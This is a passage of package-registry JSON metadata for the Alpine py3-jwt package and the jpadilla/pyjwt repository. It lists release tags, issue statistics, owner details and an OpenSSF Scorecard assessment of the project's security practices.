wt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.964Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":22.600674117438356,"stargazers_count":2.084442079120099,"forks_count":2.2352315061202765,"average":6.730086925669683},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.11","url":"https://pkgs.alpinelinux.org/packages?branch=v3.11","ecosystem":"alpine","default":false,"packages_count":11274,"maintainers_count":184,"namespaces_count":2,"keywords_count":1196,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":402},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.767Z","updated_at":"2026-06-10T05:16:51.991Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/namespaces"}},{"id":11139158,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-27T15:44:26.000Z","latest_release_published_at":"2024-10-27T15:44:26.000Z","latest_release_number":"2.9.0-r0","last_synced_at":"2026-04-15T02:07:00.373Z","created_at":"2024-12-07T12:46:41.462Z","updated_at":"2026-05-29T04:00:36.097Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/